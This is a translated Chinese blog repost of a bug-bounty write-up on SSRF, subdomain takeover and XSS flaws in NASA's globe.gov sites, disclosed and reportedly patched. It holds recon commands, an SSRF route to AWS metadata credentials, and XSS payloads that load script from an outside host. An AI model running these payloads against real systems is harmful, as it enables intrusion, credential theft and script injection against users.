‘黑掉’NASA:SSRF、子域接管以及XSS

admin 2024年6月3日09:31:21评论12 views字数 3686阅读12分17秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

博客新域名:https://gugesay.com

不想错过任何消息?设置星标↓ ↓ ↓

‘黑掉’NASA:SSRF、子域接管以及XSS

几个月前,国外一名"白帽"黑客在NASA的网络世界中开启了他的挑战。正如其它大公司一样,NASA同样拥有着大量的公开服务和网页,一些网站甚至还在运行着老旧过时的应用,而这正是我们白帽小哥寻找漏洞的契机。

初始侦察

白帽小哥首先对NASA的子域名进行了全面的枚举,他注意到NASA刚刚上线了一个子域名 globe.gov,于是决定深入探索,为了尽可能找到更多的漏洞,白帽小哥对globe.gov进行了深度挖掘。

amass enum -passive -d globe.gov
amass db -names -d globe.gov
sublist3r -d globe.gov
subfinder -d globe.gov
crt.sh globe.gov
ffuf -u https://FUZZ.globe.gov -w /usr/share/wordlists/dirb/common.txt
ffuf -u https://globe.gov -w /usr/share/wordlists/dirb/common.txt

COPY

在收集了大约60个子域后,白帽小哥决定运行nuclei,并使用默认的模板对他们进行检测。

同时,他还运行了httpx工具,以获取这些子域名的底层技术信息,经过几小时的手动检查后,他找到了一些托管在AWS上的子域名:

https://vis.globe.gov [200] [] [Apache]
https://visdev.globe.gov [200] [] [Apache]
https://visstaging.globe.gov [200] [] [Apache]
https://visdev72.globe.gov [301,200] [] [Apache]
https://visstaging7.globe.gov [301,200] [] [Apache]

这些子域名都运行在不同的环境中,但页面内容几乎完全相同。

服务器端请求伪造 (SSRF)

白帽小哥发现这些子域名都运行了一个名为GeoServer的应用。

GeoServer是一款用Java编写的开源软件,用于分享地理空间数据,如卫星图像、气候数据、林业和水资源等,这些数据可以在Google Maps, MapBox以及其他类似的地图引擎中展示。

‘黑掉’NASA:SSRF、子域接管以及XSS

令人惊讶的是,他在nuclei扫描中发现了一个有趣的点:所有vis*.globe.gov都存在相同的SSRF漏洞。

该SSRF漏洞被标记为CVE-2021-40822,由著名黑客Walleson Moura发现。白帽小哥针对这个问题进行了深入的研究。

[geoserver-login-panel] [http] [info] https://visdev.globe.gov/geoserver/web/ [2.20.4]
[CVE-2021-40822] [http] [high] https://visdev.globe.gov/geoserver/TestWfsPost

为了验证SSRF漏洞,白帽小哥尝试了一个简化的漏洞验证,他创建的脚本尝试向example.com/geoserver/TestWfsPost发送POST请求,并且“url”参数指向攻击者的URL,而“Host”头也指向另一个URL。

如果以上任何一个URL被获取,其内容会在响应中反射,则表示该目标易受SSRF攻击。

在visdev子域名上进行了PoC测试后,果不其然!

‘黑掉’NASA:SSRF、子域接管以及XSS

白帽小哥在自己的服务器域上设置了一个子域配置指向元数据服务器 (aws.0x7359.com -> 169.254.169.254),继续测试SSRF。

‘黑掉’NASA:SSRF、子域接管以及XSS

可以看到,成功浏览到目标服务器的目录并读取数据。

‘黑掉’NASA:SSRF、子域接管以及XSS

白帽小哥利用SSRF还发现了许多其它重要的信息,如AccessKeyId、SecretAccessKey和Token等。

为了不触及’FBI雷区’,白帽小哥仅做了漏洞证明,便决定编写漏洞报告。

子域名接管

几小时后,白帽小哥向NASA提交了SSRF漏洞报告,然后重新查看nuclei结果,发现了另外一个高危项目:

[meteor-takeover] [http] [high] http://annualmeeting2022.globe.gov
[tech-detect:meteor] [http] [info] https://annualmeeting2022.globe.gov/

子域劫持?白帽小哥立即开始尝试解析DNS,看看DNS指向哪里。

‘黑掉’NASA:SSRF、子域接管以及XSS

该DNS指向的是us-east-1.galaxy-ingress.meteor.com,但是这个DNS已经无法访问了。

没有任何网页托管在该域名上,白帽小哥在谷歌上快速搜索域名接管利用的文章。

假设白帽小哥在meteor.com创建了一个帐户,便能够利用它的子域,然后在子域上放置任何网页,这样一来,白帽小哥就可以控制NASA这个子域名上的内容了。

说干就干,白帽小哥很快创建了一个meteor.com的帐户,启动了一个Docker容器,并设置好了一切,他能够在那个主机名和区域启动web服务器:

‘黑掉’NASA:SSRF、子域接管以及XSS

应用程序成功部署在us-east-1.galaxy-ingrss.meteor.com,白帽小哥可以完全控制它。

由于annualmeeting2022.globe.gov域名也指向该DNS,白帽小哥还可以控制该子域上提供的服务。

‘黑掉’NASA:SSRF、子域接管以及XSS

白帽小哥上传了带有PoC的index.html,当用户访问annualmeeting2022.globe.gov时就会看到:

‘黑掉’NASA:SSRF、子域接管以及XSS

跨站脚本攻击(XSS)

在漏洞提交后的几天,白帽小哥再次重回visdev.globe.gov,因为这里还有很多未测试的输入。

白帽小哥点击了一切能够点击的地方,使用各种输入、尝试注册和登录,并测试了一些常见但古老的内容,如' 或 1=1,一些常见的XSS Payloads等。

同时,他的一位朋友也在测试相同的页面,并在特定的GET参数中找到了一处XSS漏洞。

他使用的Payload是/?no_welcome=a'-alert(1)//

该参数的值被用作 JS 代码中变量的值,可以脱离变量上下文并直接从 URL 写入任意 JS 代码,白帽小哥发现这种行为也存在于很多其它变量中:

‘黑掉’NASA:SSRF、子域接管以及XSS

‘黑掉’NASA:SSRF、子域接管以及XSS

虽然上面的PoC足以证明XSS,但白帽小哥决定更进一步,使用更通用的Payload来实现。

该Payload可以编写复杂的恶意 JavaScript 程序,将其上传到某个地方,然后导入 HTML 代码中:

document.addEventListener('DOMContentLoaded', function(){
var c = function(){
a();
};
var s = document.createElement('script');
s.src = 'https://n.0x7359.com/xss.js';
s.onreadystatechange = c;
document.body.appendChild(s);
});

COPY

这将向 https://n.0x7359.com/xss.js 发出请求并执行以下代码:

function a(){
alert('cross site alert');
}

COPY

将上述全部的JavaScript代码简化并添加到JavaScript中:

vis.globe.gov/GLOBE/?AutoRefreshInterval=%27;document.addEventListener(%27DOMContentLoaded%27,%20function()%7bvar%20c%20=%20function()%7ba();%7d;var%20s%20=%20document.createElement(%27script%27);s.src%20=%20%27https://n.0x7359.com/xss.js%27;s.onreadystatechange%20=%20c;document.body.appendChild(s);%7d);//

运行结果:

‘黑掉’NASA:SSRF、子域接管以及XSS

白帽小哥第一时间报告了发现的漏洞,两周后,NASA修补了所有的漏洞。

同时,NASA还给白帽小哥发了很酷的电子邮件“以表达他们对白帽小哥发现这些漏洞所做出努力的赞赏~”

‘黑掉’NASA:SSRF、子域接管以及XSS

以上内容由骨哥翻译并再创作。

原文:https://nickguitar.medium.com/hacking-nasa-critical-ssrf-subdomain-takeover-xss-699be0ce3c06

加入星球,随时交流:

(前50位成员):99元/年
(前100位成员):128元/年
100位+成员):199元/年‘黑掉’NASA:SSRF、子域接管以及XSS

感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

====正文结束====

原文始发于微信公众号(骨哥说事):‘黑掉’NASA:SSRF、子域接管以及XSS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月3日09:31:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ‘黑掉’NASA:SSRF、子域接管以及XSShttps://cn-sec.com/archives/2807971.html

发表评论

匿名网友 填写信息